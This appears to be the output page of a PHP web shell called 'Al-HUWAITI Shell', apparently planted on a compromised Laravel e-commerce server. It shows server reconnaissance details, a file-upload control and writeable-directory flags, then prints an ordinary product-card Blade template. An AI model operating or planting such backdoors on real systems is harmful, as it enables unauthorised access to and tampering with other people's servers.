Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/resources/views/frontend/partials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/resources/views/frontend/partials/grid-product.blade.php
<!-- Single Top Product Card -->
<div class="col-6 col-md-4 mt-4">
    <div class="card product-card">
        <div class="card-body">
            @if ($product->created_at->diffInDays() < 10)
                <!-- Badge--><span class="badge rounded-pill badge-success">New</span>
            @endif

            @if ($product->discount)
                <!-- Badge--><span class="badge rounded-pill badge-danger">-{{ $product->discount }}%</span>
                {{-- <!-- Badge --><span class="badge badge-success">Sale</span> --}}
            @endif

            @if (auth()->check())
                @if ($inWishProducts->where('product_id', $product->id)->isEmpty())
                    <a title="Wishlist"
                        class="wishlist-btn"
                        href="{{ route('add-to-wishlist', $product->slug) }}"
                        data-id="{{ $product->id }}"
                        title="Add to Wishlist"
                    >
                        <i class=" ti-heart "></i>
                    </a>
                @else
                    <a href="#0" style="color: #3CC78F !important" type="button"
                        class="wishlist-btn"
                        data-id="{{ $product->id }}"
                        title="Added to Wishlist"
                    >
                        <i class=" ti-heart "></i>
                    </a>
                @endif
            @else
                <!-- Wishlist Button-->
                <a class="wishlist-btn"
                    href="{{ route('login.form', [
                        'redirect_uri' => route('add-to-wishlist', $product->slug),
                    ]) }}"
                    data-id="{{ $product->id }}"
                >
                    <i class=" ti-heart "></i>
                </a>
            @endif
            <!-- Thumbnail --><a class="product-thumbnail d-block" href="{{ route('product-detail', $product->slug) }}">
                @php
                    $photo = explode(',', $product->photo);
                @endphp
                <img class="mb-2"
                    src="{{ Helper::imagePath($photo[0]) }}"
                    alt="{{ $photo[0] }}"
                />
            </a>
            <!-- Product Title --><a class="product-title d-block" href="{{ route('product-detail', $product->slug) }}">{{ $product->title }}</a>
            <!-- Product Price -->
            <p class="sale-price">
                @if ($product->discount)
                    {!! config('shop.currency_symbol') !!} {{ number_format($product->discounted_price, 2) }}
                    <span>{!! config('shop.currency_symbol') !!} {{ number_format($product->price, 2) }}</span>
                @else
                    {!! config('shop.currency_symbol') !!} {{ number_format($product->price, 2) }}
                @endif
            </p>
            <!-- Rating -->
            <div class="product-rating">
                @php
                    $rate = ceil($product->reviews->avg('rate'));
                @endphp
                @for ($i = 1; $i <= 5; $i++)
                    @if ($rate >= $i)
                        <i class="fa fa-star"></i>
                    @else
                        <i class="fa fa-star-o"></i>
                    @endif
                @endfor
            </div>
            <!-- Add to Cart --><a class="btn btn-success btn-sm" href="{{ route('add-to-cart', $product->slug) }}"><i
                    class="ti-plus"></i></a>
        </div>
    </div>
</div>

Al-HUWAITI Shell